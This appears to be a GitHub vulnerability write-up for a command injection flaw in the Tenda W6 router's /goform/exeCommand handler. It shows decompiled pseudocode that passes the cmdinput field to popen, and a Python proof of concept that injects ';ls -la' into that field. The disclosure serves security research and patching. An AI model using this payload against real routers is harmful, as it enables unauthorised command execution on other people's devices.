ilovekeer Update README.md History

1 contributor

37 lines (27 sloc) | 1.39 KB

Tenda W6 Command Injection Vulnerability

Device Vulnerability Introduction

Tenda W6 is an enterprise wireless AP router from Tenda Technology (Shenzhen, China).

A command injection vulnerability exists in /goform/exeCommand in Tenda W6 V1.0.0.9(4122) version, which allows attackers to construct cmdinput parameters for arbitrary command execution

Firmware download at: https://www.tenda.com.cn/download/detail-2576.html

Exploit process

```
int __fastcall formexeCommand(int a1)
{
```

```
Var = (const char *)websGetVar(a1, "cmdinput", &unk_47F13C);
nptr = (char *)websGetVar(a1, "count", "3");
v5 = (char *)websGetVar(a1, "size", "56");
v4 = (char *)websGetVar(a1, "pro_ver", "4");
v3 = (char *)websGetVar(a1, "timeout", "10");
vos_strcpy(s + 4, Var);
s[1] = atoi(nptr);
s[2] = atoi(v5);
*s = atoi(v4);
s[3] = atoi(v3);
if ( tpi_get_ping_output(s, v8, 4096) )
  return printf(
           "Error->%s: %s(%d)--get result error! cmd=%s\n",
           "/home/work/workspace/UGWV5_BW_C02_Trunk/develop/prod/httpd/ap_web/cgi/cmd.c",
           "formexeCommand",
           51,
           Var);
free(s);
```

IDA View-A | Pseudocode-A | VulFi Results | Hex View-1 | Structures | Enum

```
int __fastcall tpi_get_ping_output(int a1, void *a2, int a3)
{
  FILE *stream; // [sp+2Ch] [+2Ch]
  char v5[8192]; // [sp+50h] [+50h] BYREF
  int v6; // [sp+2050h] [+2050h]
  int v7; // [sp+2054h] [+2054h]
  int v8; // [sp+2058h] [+2058h]
  int v9; // [sp+205Ch] [+205Ch]

  memset(v5, 0, sizeof(v5));
  v6 = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  sprintf(
    v5,
    "%s -%d -c %d -s %d -W %d",
    (const char *)(a1 + 0x10),
    *(_DWORD *)a1,
    *(_DWORD *)(a1 + 4),
    *(_DWORD *)(a1 + 8),
    *(_DWORD *)(a1 + 0xC));
  stream = (FILE *)popen(v5, "r");
```

```
burp0_url = "http://192.168.5.1/goform/exeCommand"
burp0_headers = {"Host":"192.168.5.1",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, l
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.5.1",
"Referer":"http://192.168.5.1/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}
```

```
data1="cmdinput=asd;ls -la . > ./tmp/hack;aa"+'a'*0x0
requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)
```

The specific reproduction process is shown in the video